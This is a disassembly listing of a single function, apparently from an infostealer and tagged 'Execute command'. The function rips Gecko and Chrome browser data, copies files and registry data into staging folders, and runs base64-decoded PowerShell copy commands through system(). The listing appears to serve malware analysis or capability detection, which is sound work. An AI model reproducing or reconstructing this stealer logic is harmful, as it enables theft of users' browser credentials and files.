Function at 0x402d00
Capabilities:
Execute command

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x25c
mov esi, dword [esp + 0x274]
lea ebx, [esp + 0x2a]
mov dword [esp + 4], str._sgecko
mov dword [esp], ebx
mov edi, dword [esp + 0x270]
mov dword [esp + 8], esi
call sym._sprintf_1
mov dword [esp + 4], 0x424bb5
mov dword [esp], ebx
call sym._check_exist
test eax, eax
jne 0x402f20
mov dword [esp], 2
lea ebx, [esp + 0x8e]
call dbg.sleep
mov dword [esp + 8], esi
mov dword [esp + 4], str._schrome
mov dword [esp], ebx
call sym._sprintf_1
mov dword [esp + 4], 0x424bb5
mov dword [esp], ebx
call sym._check_exist
test eax, eax
jne 0x402fe0
mov dword [esp], 2
lea ebx, [esp + 0xf2]
call dbg.sleep
mov dword [esp + 8], esi
mov dword [esp + 4], str._s_files
mov dword [esp], ebx
call sym._sprintf_1
mov dword [esp + 4], 0x424bb5
mov dword [esp], ebx
call sym._check_exist
test eax, eax
jne 0x402fa0
mov dword [esp], 2
lea ebp, [esp + 0x156]
call dbg.sleep
mov dword [esp + 8], esi
mov dword [esp + 4], str._s_registry
mov dword [esp], ebp
call sym._sprintf_1
mov dword [esp + 4], 0x424bb5
mov dword [esp], ebp
call sym._check_exist
test eax, eax
jne 0x402f60
mov dword [esp], 2
call dbg.sleep
mov dword [esp + 4], esi
mov dword [esp], edi
call sym._run_gecko_crawl
test eax, eax
jne 0x402f08
mov dword [esp], str.Gecko_ripped_successfully________________________________________________
call sym._puts
mov dword [esp], 2
call dbg.sleep
mov dword [esp + 4], esi
mov dword [esp], edi
call sym._run_chrome_ripper
test eax, eax
jne 0x402ef0
mov dword [esp], str.Chrome_ripped_successfully________________________________________________
call sym._puts
mov dword [esp], 2
call dbg.sleep
mov dword [esp + 8], ebx
mov dword [esp + 4], esi
mov dword [esp], edi
call sym._copy_files_as_are
test eax, eax
jne 0x402ee0
mov dword [esp], str.Files_copied_successfully________________________________________________
call sym._puts
mov dword [esp], 2
xor ebx, ebx
call dbg.sleep
mov eax, dword [ebx*8 + 0x421254]
mov dword [esp + 4], str._Command_dir
mov dword [esp], eax
call sym._check_exist
test eax, eax
je 0x403020
add ebx, 1
cmp ebx, 3
jne 0x402e97
mov dword [esp], str.Files_copied________________________________________________
call sym._puts
add esp, 0x25c
xor eax, eax
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp], str.File_copying_failed________________________________________________
call sym._puts
jmp 0x402e89
mov dword [esp], str.Chrome_rip_failed________________________________________________
call sym._puts
jmp 0x402e5d
mov dword [esp], str.Gecko_rip_failed________________________________________________
call sym._puts
jmp 0x402e31
mov dword [esp + 8], ebx
lea ebx, [esp + 0x1ba]
mov dword [esp + 4], 0x424bb9
mov dword [esp], ebx
call sym._sprintf_1
mov dword [esp], ebx
call sym._system
test eax, eax
je 0x402d48
mov dword [esp], str.Create_dst_dir_failed
call sym._puts
jmp 0x402d48
mov dword [esp + 8], ebp
lea ebp, [esp + 0x1ba]
mov dword [esp + 4], 0x424bb9
mov dword [esp], ebp
call sym._sprintf_1
mov dword [esp], ebp
call sym._system
test eax, eax
je 0x402e05
mov dword [esp], str.Create_dst_dir_failed
call sym._puts
jmp 0x402e05
lea ebp, [esp + 0x1ba]
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x424bb9
mov dword [esp], ebp
call sym._sprintf_1
mov dword [esp], ebp
call sym._system
test eax, eax
je 0x402dc6
mov dword [esp], str.Create_dst_dir_failed
call sym._puts
jmp 0x402dc6
mov dword [esp + 8], ebx
lea ebx, [esp + 0x1ba]
mov dword [esp + 4], 0x424bb9
mov dword [esp], ebx
call sym._sprintf_1
mov dword [esp], ebx
call sym._system
test eax, eax
je 0x402d87
mov dword [esp], str.Create_dst_dir_failed
call sym._puts
jmp 0x402d87
mov eax, dword [ebx*8 + 0x421254]
lea ebp, [esp + 0x24]
mov dword [esp + 4], ebp
mov dword [esp], eax
call sym._base64_decode
mov dword [esp + 4], ebp
mov edi, eax
mov eax, dword [ebx*8 + 0x421250]
lea ebx, [esp + 0x1ba]
mov dword [esp], eax
call sym._base64_decode
mov dword [esp + 0xc], esi
mov dword [esp + 0x10], eax
mov dword [esp + 8], edi
mov dword [esp + 4], str.powershell__cp__s__s_files_s_
mov dword [esp], ebx
call sym._sprintf_1
mov dword [esp], ebx
call sym._system
test eax, eax
je 0x402ebe
mov dword [esp], str.Not_copied________________________________________________
call sym._puts
add esp, 0x25c
xor eax, eax
pop ebx
pop esi
pop edi
pop ebp
ret